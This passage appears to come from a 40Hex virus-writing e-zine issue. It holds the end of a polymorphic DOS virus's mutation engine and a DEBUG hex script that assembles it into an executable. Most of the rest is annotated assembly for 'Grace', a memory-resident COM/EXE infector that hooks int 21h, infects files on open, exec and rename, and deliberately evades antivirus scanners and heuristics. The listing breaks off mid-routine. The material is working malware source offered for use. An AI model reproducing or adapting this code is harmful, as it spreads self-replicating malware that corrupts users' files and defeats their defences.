        mov     di,offset NewCodeBuffer
        mov     si,offset EXE_Entry
        repnz   movsb
        
    SelectCounterAndPointer:
        call    GetRand
        and     ax,707
        cmp     al,4
        je      SelectCounterAndPointer
        cmp     ah,3
        je      RegsValid
        cmp     ah,6
        je      RegsValid
        cmp     ah,7
        je      RegsValid
        jmp     short SelectCounterAndPointer
    RegsValid:
        cmp     ah,al
        je      SelectCounterAndPointer
    FindAddressingReg:
        push    ax
        cmp     ah,3
        jne     Is_SI_or_DI
        xor     ah,4
        jmp     GotAddrReg
     Is_SI_Or_DI:
        xor     ah,2
     GotAddrReg:
        mov     dh,ah                   ;DH now holds addressing reg value
     GetRandomXorKey:        
        call    GetRand
        mov     byte ptr [XorByte+2],al
        pop     ax
     SetNewRegs:
        and     byte ptr [XorByte+1],11111000b
        and     byte ptr [SetCounter],11111000b
        and     byte ptr [DecCounter],11111000b
        and     byte ptr [SetPointer],11111000b
        and     byte ptr [IncPointer],11111000b
        or      byte ptr [SetCounter],al
        or      byte ptr [DecCounter],al
        or      byte ptr [SetPointer],ah
        or      byte ptr [IncPointer],ah
        or      byte ptr [Xorbyte+1],dh
        mov     dx,ax
   SetupDummy:
        call    GetRand
        and     ax,707
        cmp     al,4
        je      SetupDummy
        cmp     al,dh
        je      SetupDummy
        cmp     al,dl
        je      SetupDummy
        mov     ah,al
        and     word ptr [OneByte],1111100011111000b
        or      word ptr [Onebyte],ax
  EncryptCode:
        mov     word ptr [SetPointer+1],offset NewCodeBuffer
        call    SetCounter
        mov     word ptr [SetPointer+1],offset EXE_Entry
  SetupDecrypt:        
        mov     si,offset EncryptionPrototype
        mov     di,offset DecryptBuffer
        call    MakeOneBytes
        call    OneByteInst
        call    OneByteInst
        call    OneByteInst
        call    ThreeByteInst
        call    ThreeByteInst
        mov     bx,di
        call    ThreeByteInst
        call    OneByteInst
        movsw
        mov     ax,di
        sub     ax,bx
        not     al
        stosb
   FillBuffer:
        mov     cx,offset NewCodeBuffer
        sub     cx,di
        call    MakeAByte
        ret

  ThreeByteInst:
        movsw
   OneByteInst:        
        movsb
        call    MakeOneBytes
        ret

MakeOneBytes:
        push    bx cx
        call    GetRand
        and     ax,3
        inc     ax
        mov     cx,ax
        call    MakeAByte
        pop     cx bx
        ret
   
   MakeAByte:
        call    GetRand
        and     ax,3
        mov     bx,ax
        add     bx,offset OneByte
        mov     al,byte ptr [bx]
        stosb
        loop    MakeAByte
        ret

InitRand:
        push    ds
        xor     ax,ax
        mov     ds,ax
        mov     ax,word ptr ds:[46c]
        pop     ds
        mov     word ptr cs:[RandKey],ax
        ret

GetRand:
        push    cx dx
        mov     ax,word ptr cs:[RandKey]
        mov     cx,4791
        mul     cx
        mov     cx,dx
        ror     ax,cl
        add     ax,9174
        mov     word ptr cs:[Randkey],ax
        pop     dx cx
        ret

RandKey dw      0

EncryptionPrototype:
  SaveSeg:
        push    es
  SetCurSeg:
        push    cs
        pop     ds
  SetCounter:
        mov     bx,0ffff
  SetPointer:
        mov     si,0ffff
  XorByte:
        xor     byte ptr [si],0ff
  IncPointer:
        inc     si
  DecCounter:
        dec     bx
  LoopMod:
        jnz     XorByte
ExitPrototype:
        ret

DummyInstructions:
  OneByte:
        inc     cx
        dec     cx
        nop
        sti
end_mut:
end_main:
DecryptBuffer   db      30 dup(?)
NewCodeBuffer   db      (end_main-EXE_Entry) dup (?)
end_prog:
end start
;----------------------- end corplife.asm ---------------------------------
N corplife.com
E 0100  06 0E 1F 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0110  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0120  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
E 0130  EB 01 9A 2E D1 0E 3C 02 EB 01 EA 2E FF 36 4E 01
E 0140  B8 15 FF 50 8B EC F7 56 00 2E 8F 06 4E 01 2E 8F
E 0150  06 4E 01 E8 F7 00 B8 01 30 CD 21 3C 06 77 07 3C
E 0160  03 72 03 EB 05 EA E9 A4 00 FF BA FE 05 B8 BA A6
E 0170  92 0E F7 D0 F7 D2 CD 16 1F B4 09 BA 2F 06 CD 21
E 0180  73 03 E9 88 00 33 C0 1E 50 1F FF 36 84 00 FF 36
E 0190  14 00 FF 36 86 00 FF 36 16 00 8F 06 0E 00 2E 8F
E 01A0  06 4B 02 8F 06 0C 00 2E 8F 06 49 02 1F 06 B4 4A
E 01B0  BB FF FF E8 8C 00 83 EB 76 B4 4A E8 84 00 BB 75
E 01C0  00 B4 48 E8 7C 00 2D 10 00 8E C0 BF 00 01 8B F7
E 01D0  B9 49 07 F2 A4 1E 8E D9 FF 36 88 00 FF 36 8A 00
E 01E0  C7 06 88 00 92 02 8C 06 8A 00 C7 06 06 00 F0 FF
E 01F0  C7 06 04 00 00 00 58 5B 1F 26 89 1E 46 03 26 A3
E 0200  48 03 1F C7 06 0A 00 92 02 8C 06 0C 00 07 06 1F
E 0210  8C C0 05 10 00 2E 01 06 3C 02 2E 03 06 3E 02 FA
E 0220  8E D0 2E 8B 26 40 02 33 C0 33 DB 33 C9 33 D2 33
E 0230  FF BE 00 01 FB 2E FF 2E 3A 02 00 00 F0 FF F0 FF
E 0240  FE FF 9C 2E FF 1E 49 02 C3 00 00 00 00 B9 11 00
E 0250  E8 02 00 C3 81 EB 11 FF 49 58 5B 5A 74 03 E8 F4
E 0260  FF 2E D1 06 3C 02 C3 CD 8B EC 1E 8C CB 50 C7 46
E 0270  FC 00 00 1F C7 06 0C 00 58 02 89 1E 0E 00 1F CC
E 0280  E2 FE 8E D9 FF 36 6C 04 FF 36 6C 04 FF 36 6E 04
E 0290  CF 83 B4 52 E8 AB FF 26 8E 47 FE 8C C3 26 A1 03
E 02A0  00 8C C1 03 C1 40 8E C0 26 A1 03 00 3D EE 00 72
E 02B0  0A 26 83 3E 01 00 00 74 28 EB 0A 26 83 3E 01 00
E 02C0  00 75 02 EB 02 8C C3 8C C1 03 C1 40 3D 00 F0 74
E 02D0  0D 26 80 3E 00 00 4D 75 05 8E C0 EB CB 81 EB 65
E 02E0  EA 8C C2 8E C3 43 26 03 1E 03 00 53 8C C0 26 FF
E 02F0  36 01 00 06 40 26 8B 1E 03 00 2E A3 2D 06 8E C0
E 0300  B4 4A 81 C3 ED 00 E8 39 FF 72 B0 07 26 8F 06 01
E 0310  00 58 2D 10 00 8E C0 BF 00 01 8B F7 0E 1F B9 92
E 0320  0E F2 A4 41 8E D9 FF 36 74 00 FF 36 76 00 C7 06
E 0330  74 00 4B 03 8C 06 76 00 26 8F 06 73 03 26 8F 06
E 0340  71 03 E8 75 03 EA 00 00 00 00 FF 80 FC 09 75 0F
E 0350  87 D3 81 3F 24 42 87 D3 75 16 F9 CA 02 00 88 50
E 0360  80 F4 11 74 20 80 F4 03 74 1B 80 F4 5B 74 07 58
E 0370  EA 00 00 00 00 EA 8C C0 2E 3B 06 2D 06 58 75 F0
E 0380  CF EA E9 AB 00 58 E8 AB 00 0A C0 75 F5 50 53 51
E 0390  52 06 1E 56 57 E8 4B 02 B4 2F E8 97 00 06 53 26
E 03A0  80 3F FF 75 79 83 C3 07 26 81 7F 09 45 58 75 6E
E 03B0  26 80 7F 0B 45 75 67 26 81 7F 19 00 C8 77 39 E8
E 03C0  CC 00 72 34 06 53 0E 07 BF 55 06 B9 25 00 33 C0
E 03D0  57 F2 AA 5F 5E 1F B9 0C 00 F2 A4 B4 0F 0E 1F BA
E 03E0  55 06 E8 4F 00 FE C0 74 0F 06 53 E8 51 00 5B 07
E 03F0  B4 10 BA 55 06 E8 3C 00 26 81 7F 19 00 C8 72 1E
E 0400  26 81 6F 19 00 C8 53 B4 62 E8 28 00 8C C8 3B D8
E 0410  5B 77 0B 26 81 6F 1D 89 07 26 83 5F 1F 00 5A 1F
E 0420  B4 1A E8 0F 00 E8 E2 01 5F 5E 1F 07 5A 59 5B 58
E 0430  CA 02 00 EA 9C 2E FF 1E 71 03 C3 9A EB 30 EA FF
E 0440  36 6B 06 FF 36 69 06 FF 36 65 06 FF 36 67 06 8F
E 0450  06 53 06 8F 06 51 06 E8 8C 00 72 0B E8 C0 00 E8
E 0460  3A 00 E8 14 00 EB 02 72 05 58 05 00 C8 50 2E 8F
E 0470  06 69 06 2E 8F 06 6B 06 C3 A1 51 06 8B 16 53 06
E 0480  05 89 07 83 D2 00 A3 65 06 89 16 67 06 C3 50 1E
E 0490  33 C0 8E D8 A1 6C 04 D1 E8 1F 58 C3 A1 65 06 8B
E 04A0  16 67 06 25 FF 01 A3 7C 06 A1 65 06 74 03 05 FF
E 04B0  01 B1 09 D3 E8 B1 07 D3 E2 03 D0 89 16 7E 06 83
E 04C0  06 84 06 76 B4 1A BA 7A 06 E8 68 FF BA 55 06 C6
E 04D0  06 75 06 00 C7 06 61 06 00 00 C7 06 63 06 40 00
E 04E0  B4 15 E8 4F FF C3 C7 06 63 06 40 00 B4 1A BA 7A
E 04F0  06 E8 40 FF B4 14 BA 55 06 E8 38 FF A1 7A 06 02
E 0500  E0 80 F4 A7 75 17 83 3E 94 06 00 75 10 83 3E 92
E 0510  06 40 73 09 83 3E 67 06 04 77 02 F8 C3 F9 C3 FF
E 0520  36 88 06 A1 65 06 FF 36 8A 06 8B 16 67 06 FF 36
E 0530  8E 06 B1 04 8B 1E 82 06 D3 E3 2B C3 83 DA 00 FF
E 0540  36 90 06 D3 E8 8F 06 3C 02 15 00 00 8F 06 3A 02
E 0550  8B D8 8F 06 40 02 D3 E0 8F 06 3E 02 83 D2 00 B1
E 0560  0C D3 E2 03 DA 83 EB 0F 89 1E 90 06 C7 06 8E 06
E 0570  00 01 81 C3 F0 00 89 1E 88 06 C7 06 8A 06 FE 02
E 0580  A1 65 06 8B 16 67 06 B1 04 D3 E8 15 00 00 8A EA
E 0590  B1 04 D3 EA D2 E5 02 E5 83 D2 00 40 83 D2 00 A3
E 05A0  76 06 89 16 78 06 C7 06 63 06 10 00 51 53 52 56
E 05B0  57 E8 55 01 5F 5E 5A 5B 59 BA 49 08 B4 1A E8 73
E 05C0  FE 52 B4 22 BA 55 06 E8 6A FE 5A E8 07 00 81 FA
E 05D0  92 0F 72 E8 C3 83 C2 10 83 06 76 06 01 83 16 78
E 05E0  06 00 C3 50 1E B8 09 00 8E D8 FF 36 00 00 FF 36
E 05F0  02 00 2E 8F 06 2B 06 2E 8F 06 29 06 C7 06 00 00
E 0600  26 06 0E 8F 06 02 00 1F 58 C3 50 1E 2E FF 36 29
E 0610  06 B8 09 00 2E FF 36 2B 06 8E D8 8F 06 02 00 8F
E 0620  06 00 00 1F 58 C3 B0 03 CF 00 00 00 00 00 00 24
E 0630  42 20 2D 3D 5B 24 24 24 20 43 6F 72 70 6F 72 61
E 0640  74 65 20 4C 69 66 65 20 24 24 24 5D 3D 2D 20 50
E 0650  24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0660  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0670  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0680  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 0690  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 06A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E 06B0  00 00 00 00 00 00 00 00 00 00 50 53 06 1E 56 57
E 06C0  33 C0 8E C0 B8 FB FB CD 2F 8C C0 0B C0 74 1D 26
E 06D0  81 3F 46 42 75 16 B8 07 07 BE F3 06 BF 20 00 03
E 06E0  FB B9 16 00 0E 1F F2 A4 26 FF 5F 04 5F 5E 1F 07
E 06F0  5B 58 C3 15 46 75 63 6B 20 43 6F 72 70 6F 72 61
E 0700  74 20 4C 69 66 65 2E 0A 0D 0E 0E 07 1F B9 19 07
E 0710  E8 F8 00 89 0E 38 08 BF 79 08 BE 30 01 F2 A4 E8
E 0720  F7 00 25 07 07 3C 04 74 F6 80 FC 03 74 0C 80 FC
E 0730  06 74 07 80 FC 07 74 02 EB E5 3A E0 74 E1 50 80
E 0740  FC 03 75 05 80 F4 04 EB 03 80 F4 02 8A F4 E8 C8
E 0750  00 A2 3F 08 58 80 26 3E 08 F8 80 26 37 08 F8 80
E 0760  26 41 08 F8 80 26 3A 08 F8 80 26 40 08 F8 08 06
E 0770  37 08 08 06 41 08 08 26 3A 08 08 26 40 08 08 36
E 0780  3E 08 8B D0 E8 92 00 25 07 07 3C 04 74 F6 3A C6
E 0790  74 F2 3A C2 74 EE 8A E0 81 26 45 08 F8 F8 09 06
E 07A0  45 08 C7 06 3B 08 79 08 E8 8C 00 C7 06 3B 08 30
E 07B0  01 BE 34 08 BF 49 08 E8 2E 00 E8 26 00 E8 23 00
E 07C0  E8 20 00 E8 1C 00 E8 19 00 8B DF E8 14 00 E8 12
E 07D0  00 A5 8B C7 2B C3 F6 D0 AA B9 79 08 2B CF E8 18
E 07E0  00 C3 A5 A4 E8 01 00 C3 53 51 E8 2C 00 25 03 00
E 07F0  40 8B C8 E8 03 00 59 5B C3 E8 1D 00 25 03 00 8B
E 0800  D8 81 C3 45 08 8A 07 AA E2 EF C3 1E 33 C0 8E D8
E 0810  A1 6C 04 1F 2E A3 32 08 C3 51 52 2E A1 32 08 B9
E 0820  91 47 F7 E1 8B CA D3 C8 05 74 91 2E A3 32 08 5A
E 0830  59 C3 00 00 06 0E 1F BB FF FF BE FF FF 80 34 FF
E 0840  46 4B 75 F9 C3 41 49 90 FB
R CX
0749
W
Q
40Hex Number 14 Volume 5 Issue 1                                      File 009

;==============================================================================
;
; Grace
;
; Mid-file COM/EXE TSR infector, 1294 bytes
;
; This virus employs a brand new infection mechanism such that virus
; scanners which only check the entry points will fail.  ie. heuristics
; are (so far) worthless against this virus.  However this opens the virus
; up to signature scanning vulnerability because the entry point code
; is fixed and very specific.  The next version of this virus will feature
; a general architectural reconstruction, multiple-block displacement
; and also polymorphism, so keep your eyes peeled for that one.
;
; I know there has been another virus which has done mid-file infection
; (Commander Bomber) but that uses a different method which achieves
; a similar result (ie, infection in the middle of the host).  However
; the implementation illustrated in this virus is a more simple
; rendition of the idea, it simply has a 'wrapper' which relocates blocks
; etc. into the appropriate positions before the virus proper gains
; control.  Cmdr Bomber, on the other hand, inserts multiple polymorphic
; jumps, but only infects .com files.
;
; This code is getting on (about 8 months) and has a few drawbacks.  It
; just took too much stuffing around writing it that I didn't want to
; change it! :> .. for example the abovementioned susceptibility to sig
; scanning.. also the relocation of the entire header information to the
; end of the exe file (lame..) which requires heaps more memory than the
; average virus and suspicious extra disk accesses.  Also, it was written
; to be compiled with a86 [1988] so the stuff at the end I had to count up
; manually.  So I don't use TASM, and dont do my tabs right.. that's my
; problem. :>  ..If I'd known how much mucking around this virus would
; have taken to write before I'd written it, I wouldn't have bothered.
; But I didn't, so I did, and here's the final product.  It works! ;)
;
; There's a lot of commenting on this thing (left over from a tutorial I
; did for someone) so it's not *too* difficult to understand if you are
; taking a stroll through the code.. it's also pretty modular and some parts
; have just been fitted in without much optimization (eg the filename
; and extension checking routine could have been redone because there's only
; 2 allowable extensions).
;
; Apart from residing around the middle of the host it's pretty much just
; your standard virus.. it infects COM/EXE files on open, attrib, exec,
; move, and extended open.. also on program termination via function 4ch
; there's a chance the happy message "Have a nice DOS!" or "Have a nice
; piss-up!" will appear after blanking the screen.  I personally hate
; programs which think they're being humourous with this little number, so
; there you go.. have fun.
;
; -T?L?N 02/95-
;
;==============================================================================
;
; when you run it, run it with a debugger, at the entry point to the actual
; virus (ie not the relocation wrapper) needs PSP in BP, and virus offset
; in memory in DI .. ie 100h if you're executing the  kernal. in other
; words, there's no way this virus can be 'accidentally' compiled and
; run, because it will crash unless you do the above step..
;
;------------------------------------------------------------------------------
;
; Some equates and stuff for use within the virus ..
;

org 0                                   ; will be assembled with start of 0

@JO     equ     070h                    ; JO operand for variable branch
@JMPS   equ     0ebh                    ; JMP SHORT
@tsrchk equ     6968h                   ; our tsr check
p_len   equ     5120/16                 ; amount of memory we take up
@marker equ     'PK'                    ; marker for infected file
load    equ     1536                    ; scratch area offset
vstack  equ     1536                    ; ceiling for our own stack .. = load
k_len   equ     52                      ; length of relocation code
ek_len  equ     36                      ; length of extra relocation code
s_len   equ     48                      ; length of temp EXE stack

;------------------------------------------------------------------------------

                ; assumes DI points to virus start
                ;         ES = PSP
v_start:        push di
                mov cx, cs
                mov ax, @tsrchk         ; int 21h will return an error
                int 21h                 ; unless our virus is already TSR
                xor bx, ax              ; is bx xor ax = 0 ??  (will be if TSR)
                jz bail                 ; jump if zero to a bail routine
                                        ; otherwise install ourselves TSR.

                mov ax, bp              ; in segment PSP-1 is the MCB chain.
                dec ax                  ; We will edit that to get us some
                                        ; memory to hide in.

memloop:        mov ds, ax                      ; set data segment
                cmp byte ptr [0], 'Z'           ; is it the last block?
                je fixmem
                mov bx, ax                      ; keep segment of prev. block
                add ax, word ptr [3]            ; AX now equals seg of next MCB
                inc ax
                jmp short memloop               ; and check it ..

fixmem:         cmp word ptr [3], p_len*10      ; is block too small?
                jae fm_ok
                mov ds, bx                      ; yeah, use previous block
                xchg ax, bx
fm_ok:          sub word ptr [3], p_len         ; steal the memory we need
                add ax, word ptr [3]            ; get its segment value
                inc ax
                mov word ptr [12h], ax          ; and feed it to the PSP of
                                                ; the host program - otherwise
                                                ; command.com will crash

                mov es, ax                      ; ES = destination segment for
                push cs                         ; the move..
                pop ds                          ; DS = source segment
                xor di, di
                push cx
                mov cx, v_len                   ; # of bytes to move
                cld                             ; forward direction...
                rep movsb                       ; move CX bytes ds:si -> es:di
                pop cx
gethi:          push es                         ; push dest. seg on stack
                mov ax, offset dms              ; and the offset of where to go
                push ax
                retf                            ; and jump there.

dms:            xor ax, ax
                mov ds, ax
                mov si, 21h*4                   ; offset of int 21h vector
                movsw                           ; mov word from DS:SI to ES:DI
                movsw                           ; and again
                sub si, 4
                mov word ptr [si], offset new21 ; revector int 21h
                mov word ptr [si+2], cs

; we have saved the old int 21h value so we can still jump to it, and we have
; put our offset and segment in its place -- so every time an int 21h call
; is issued, control is passed to the virus.  Now let's split.

                xor si, si                      ; zero si since we've relocated
bail:           mov es, bp                      ; restore to ES the PSP segment
                push cs                         ; and let DS be our CS
                pop ds
                add si, offset old_shit         ; point SI to our old data
gl:             jo exit_exe                     ; JO changed to JMP in EXE
                mov di, 0100h                   ; COMs always start execution
                add sp, 2
                push bp                         ; at PSP:100h
                push di
                movsw                           ; restore host's original 5
                movsw
                movsb
                jmp short zero_shit             ; split
exit_exe:       add bp, 10h
                lodsw
                add ax, bp
                xchg ax, bx
                lodsw
                pop di
relo_stuff:     mov ss, bx
                xchg ax, sp
                lodsw                           ; now get the starting address
                xchg ax, bx                     ; from where we've stored it.
                lodsw
                add ax, bp
                mov ds, cx                      
                xchg si, di                     ; DS:SI = relocation table
                push ax                         ; push exe CS:IP onto stack...
                push bx
                lodsw                           ; # of relocation items
                xchg cx, ax
                jcxz rldone
relo_loop:      lodsw                           ; relocate them...
                xchg ax, di
                lodsw
                add ax, bp
                mov es, ax
                add word ptr es:[di], bp
                loop relo_loop
rldone:         sub bp, 10h
zero_shit:      xor ax, ax                      ; clean our hands
                mov bx, ax
                mov cx, ax
                cwd
                mov si, ax
                mov di, ax
                mov ds, bp                      ; DS=ES=PSP ..
                mov es, bp
                mov bp, ax                      ; everything = 0...
                retf                            ; I didn't see nothin!

old_shit:       int 20h                 ; 4 words to store either the
        dw      0,0,0                   ; old EXE header values or the
                                        ; old COM header info.

        db      '-[Grace] by T?L?N 94-'

;
; end of installation routine.
;
;------------------------------------------------------------------------------
;
; The 'Have a nice DOS!' or 'Have a nice piss-up!' effect.
;

hahaha:         in al, 40h
                cmp al, 0e0
                jbe ha_ex
                push bx
                push dx
                push ds
                mov ah, 0fh
                int 10h                         ; get video mode
                xor ah, ah
                int 10h                         ; clear that mode's screen
                mov ah, 2
                xor dx, dx
                int 10h
                push cs
                pop ds
                mov ah, 9
                mov dx, offset msg              ; print the msg
                call i21
                in al, 40h
                xchg ah, al
                in al, 40h
                xor al, ah
                cmp al, 0a0h
                jbe nicedos
                mov dx, offset XXXX
                jmp short prp
nicedos:        mov dx, offset doss
prp:            mov ah, 9
                call i21
                pop ds
                pop dx
                pop bx
ha_ex:          jmp short yeppo

        db      'You make me sick I make viruses'

;------------------------------------------------------------------------------

new21:          cmp ax, @tsrchk                 ; is it us checking residence?
                jne n2
                mov bx, ax                      ; yep, make BX = AX
                iret                            ; and return from interrupt.
n2:             push ax
                xchg ah, al
                cmp al, 3dh                     ; OPEN?
                je letsgo
                cmp al, 43h                     ; ATTRIB?
                je letsgo
                cmp al, 4bh                     ; EXEC?
                je letsgo
                cmp al, 4ch                     ; EXIT?
                je hahaha
                cmp al, 56h                     ; RENAME?
                je letsgo
                cmp al, 6ch                     ; EXT_OPEN?
                jne yeppo
                push dx
                mov dx, si
                call infect
                pop dx
                jmp short yeppo
letsgo:         call infect                     ; call the infection routine
yeppo:          pop ax                          ; restore AX
n21_2:          jmp dword ptr cs:[old21]        ; and act as if nothing's up

new24:          mov al, 3                       ; a cool critical error handler
                iret                            

file_end:       mov ax, 4202h                   ; some internal virus functions
                jmp short seek_vals
file_zero:      mov ax, 4200h
seek_vals:      xor cx, cx
                xor dx, dx
i21:            pushf                           ; simulate an int 21h
                push cs
                call n21_2
                ret

; the working horse of the virus.

infect:         push ax                         ; save all the registers
                push bx                         ; that we'll be screwing with
                push cx
                push dx
                push si
                push di
                push ds
                push es

; now, we need to save the name of the file we're dealing with at a permanent
; location so that it's easier to reference.  We also need to check to see if
; it's an invalid filename (ie. contains SC (eg Scan), CL (clean) etc etc.).

                push cs
                pop es
                mov di, offset filename
                mov si, dx                      ; on all the above calls,
                                                ; DS:DX points to the filename.
                                                ; we put it in SI for the LODSB
                                                ; instruction.
storename:      lodsb                           ; [DS:SI] -> AL
                stosb                           ; AL -> [ES:DI]
                or al, al                       ; is it 0 (end of ASCIIZ string)?
                jnz storename                   ; if not, keep going

                push cs                         ; toss out old data segment,
                pop ds                          ; we don't need it now.

; now we check the name and the extension.
; [this could do with a rewrite]..

                mov dx, di
                sub dx, 4                       ; DX points to extension
                lea si, [di-12]                 ; SI = DI - 12
                cmp si, offset filename+1       ; is it too far back?
                jae kkk1
                mov si, offset filename+1       ; yep, point it right
kkk1:           dec si
                cmp si, dx                      ; is SI up to extension yet?
                je kkk2
                lodsw                           ; no, check the word at SI...
                and ax, 0dfdfh                  ; capitalize the letters
                push di
                mov di, offset fucks
                mov cx, @fucks                  ; 4 things to check for...
                repne scasw                     ; this is:
                                                ; "keep comparing AX to [ES:DI]
                                                ;  while AX <> [ES:DI] or until
                                                ; CX = 0. ie find if AX matches
                                                ; any of the disallowed things.
                pop di
                jne kkk1                        ; try next 2 if no match..
                jmp short ncexit_err            ; otherwise we don't infect.

kkk2:           mov di, offset exts             ; valid extensions
                mov cx, @exts
                cld
                lodsw
                and ax, 0dfdfh                  ; -> uppercase
extchk:         scasw                           ; does AX match extension?
                je extchk_2
                inc di                          ; nope, try next extension
                loop extchk                     ; loop until cx=0
ncexit_err:     jmp bitch                       ; .. if not valid extension,
                                                ; terminate infection routine

extchk_2:       lodsb                           ; otherwise check 3rd byte
                and al, 0dfh
                scasb
                jne ncexit_err

; set int 24h to our own so we don't get annoying "Write protect error" etc.

set24:          mov ax, 3524h                   ; get int 24h vector
                call i21
                push es                         ; save it on the stack
                push bx
                mov dx, offset new24
                mov ax, 2524h                   ; set int 24h vector
                call i21
                push cs
                pop es

; now set the file attributes to zero...

setattrib:      mov ax, 4300h                   ; AX=4300h, Get attribs of file
                mov dx, offset filename         ; DS:DX, filename
                call i21
                push cx                         ; ..save them..
                mov ax, 4301h
                xor cx, cx
                call i21                        ; and zero them out.
                jc bitch1                       ; if error, bail ...

; now we can safely open the file.

                mov ax, 3d02h                   ; open file, read/write access
                call i21
                xchg ax, bx                     ; put file handle into bx
                mov ax, 5700h                   ; get the file's date/time
                call i21
                push cx
                push dx

; check to see if the file is a COM or an EXE, according to its hdr structure.

                call file_zero                  ; seek to beginning of file
                mov ah, 3fh
                mov cx, 26
                mov dx, offset signature
                call i21                        ; read 24 bytes (header info)

                xor ax, cx                      ; bail if < 26 bytes read
                jnz bitch2

                mov ax, @marker                 ; is there an infection marker?
                cmp word ptr [signature+3], ax  ; [com]
                je bitch2                       ; yep, it's already infected
                cmp word ptr [chksum], ax       ; [exe]
                je bitch2

                mov si, dx
                lodsb
                cmp al, 'M'                     ; EXEs start with MZ or ZM
                je goexe
                cmp al, 'Z'
                je goexe
                call cominf                     ; otherwise it's a COM file
                jmp short write_hdr
goexe:          call exeinf
write_hdr:      call file_zero                  ; seek to start of file
                mov ah, 40h
                mov cx, 26
                mov dx, offset signature
                call i21                        ; write patched header

bitch2:         pop dx                          ; restore the file's date/time
                pop cx
                mov ax, 5701h
                call i21

                mov ah, 3eh                     ; and close it.
                call i21

bitch1:         pop cx                          ; restore file's original
                mov ax, 4301h                   ; file attributes
                mov dx, offset filename
                call i21

                pop dx                          ; get original i24h
                pop ds
                mov ax, 2524h
                call i21                        ; and reinstate it

bitch:          pop es                          ; restore all the registers...
                pop ds
                pop di
                pop si
                pop dx
                pop cx
                pop bx
                pop ax
                ret                             ; and exit the infect routine.

cominf:         mov di, offset old_shit
                stosb
                movsw                           ; save first 5 bytes
                movsw
                call file_end
                or dx, dx                       ; COM >64k?
                jnz com_done
                cmp ax, 0f800h                  ; COM >60k?
                jae com_done
                push ax
                mov byte ptr [gl], @JO
                mov word ptr [k1+1], 0
                ; we need a random value between 5 and (eof-v_len)
                sub ax, (v_len)+5
                jc com_done2
                call rnd_num
                add ax, 105h                    ; DX:AX is file offset of virus
                mov word ptr [k2+1], ax
                dec ah
                push ax
                call file_end
                add ax, v_len + k_len + 100h
                mov word ptr [k3+1], ax
                pop ax
                stc
                call write_us
                mov di, offset signature
                mov al, 0e9h                    ; now build us a JMP
                stosb
                pop ax
                dec ax                          ; ...
                dec ax
                dec ax
                stosw
                mov ax, @marker                 ; put in the infection marker
                stosw
com_done:       ret
com_done2:      pop ax
                ret

; this EXE infection is quite exhaustive in order to screw up the least amount
; of EXE files possible.  A virus shows itself up when it wrecks things ..
; therefore it makes sense not to wreck things, hmm?

exeinf:         ; we have to check for internal overlays
                ; if present, don't infect the file
                call file_end
                push ax                         ; check for internal overlays
                push dx
                mov ax, word ptr [page_cnt]     ; calculate how big the code
                mov cx, 512                     ; part of the EXE is, according
                mul cx                          ; to its header info ...
                pop cx
                pop bp
                cmp ax, bp                      ; and compare it to the actual
                jb com_done                     ; file's size.
                cmp dx, cx                      ; if calc<actual then it must have
                jb com_done                     ; internal overlays -- bail.

                ; store the old SS:SP, CS:IP

                mov di, offset old_shit
                mov si, offset relo_ss
                movsw
                movsw
                lodsw
                movsw
                movsw

                ; append k_code to EOF & find a block to move as well...

                call file_end
                mov byte ptr [gl], @JMPS
                mov cx, 10h                     ; # of paragraphs in whole file
                div cx
                sub ax, word ptr [hdr_size]     ; except the header
                mov word ptr [relo_cs], ax
                dec ax
                mov word ptr [relo_ss], ax
                mov word ptr [exe_ip], dx
                push dx
                xchg ax, dx
                add ax, v_len + ek_len + k_len
                mov word ptr [k3+1], ax
                mov word ptr [ek1+1], ax

                ; the minmem/maxmem stuff is not really necessary to the
                ; viability of infection, but TBAV screams if the header
                ; isn't perfect.  One less thing for TBAV to pick up...

                mov ax, -10240/16               ; a -ve value to save code
                cmp word ptr [minmem], ax       ; (hehe is 10k enough??)
                jae di0
                sub word ptr [minmem], ax       ; subtract -ve = add
di0:            cmp word ptr [maxmem], ax
                jae dont_inc
                sub word ptr [maxmem], ax
dont_inc:       pop ax
                add ax, v_len + ek_len + k_len + s_len + 10h
                mov cx, word ptr [relocnt]
                shl cx, 1
                shl cx, 1
                add ax, cx
                shr ax, 1                       ; make SP even
                shl ax, 1
                mov word ptr [exe_sp], ax

                call file_end           ; calculate the size of the file
                push dx                 ; minus the header
                push ax
                mov ax, word ptr [hdr_size]
                mov dx, 10h
                mul dx
                mov word ptr [hdr], ax
                mov word ptr [hdr+2], dx
                pop ax
                sub ax, word ptr [hdr]
                pop dx
                sbb dx, word ptr [hdr+2]
                sub ax, v_len
                sbb dx, 0
                call rnd_num            ; & select a random # in that range
                push ax
                push dx
                mov cx, 10h
                div cx
                add ax, 10h
                mov word ptr [k1+1], ax
                mov word ptr [k2+1], dx
                pop dx
                pop ax
                add ax, word ptr [hdr]
                adc dx, word ptr [hdr+2]
                clc
                call write_us

                mov cx, 512                     ; calculate new # of code pages
                div cx
                or dx, dx                       ; any bits left over?
                jz fp2
                inc ax                          ; yes, inc # pages
fp2:            mov word ptr [part_page], dx    ; update the info
                mov word ptr [page_cnt], ax
                mov word ptr [chksum], @marker  ; tag as infected
                ret

write_us:       ; calling parameters:
                ; k1, k2 and k3 have been taken care of
                ; DX:AX contains file offset of part to save & overwrite
                ; this routine was once simple, but programming nightmares
                ; caused it to get cancerous outgrowths.
                ; (although i prefer not to call my programming a cancerous
                ;  outgrowth)...
                pushf
                mov cx, dx
                xchg ax, dx
                mov ax, 4200h
                call i21                        ; seek to this area
                popf
                push ax
                push dx
                mov dx, offset load
                mov cx, v_len
                push cx
                push dx
                mov ah, 3fh
                pushf
                call i21                        ; read old contents
                call file_end
                mov cx, k_len
                mov dx, offset k_kode
                popf
                pushf
                jc wu2
                ; deviation for exe files
                add cx, ek_len
                mov dx, offset ek_kode
wu2:            mov ah, 40h
                call i21                        ; write the entry beast
                popf
                pop dx
                pop cx
                pushf
                mov ah, 40h
                call i21                        ; write the displaced code
                popf
                pop cx
                pop dx
                pushf
                mov ax, 4200h
                call i21                        ; seek to area we got it from
                mov ah, 40h
                mov cx, v_len
                xor dx, dx
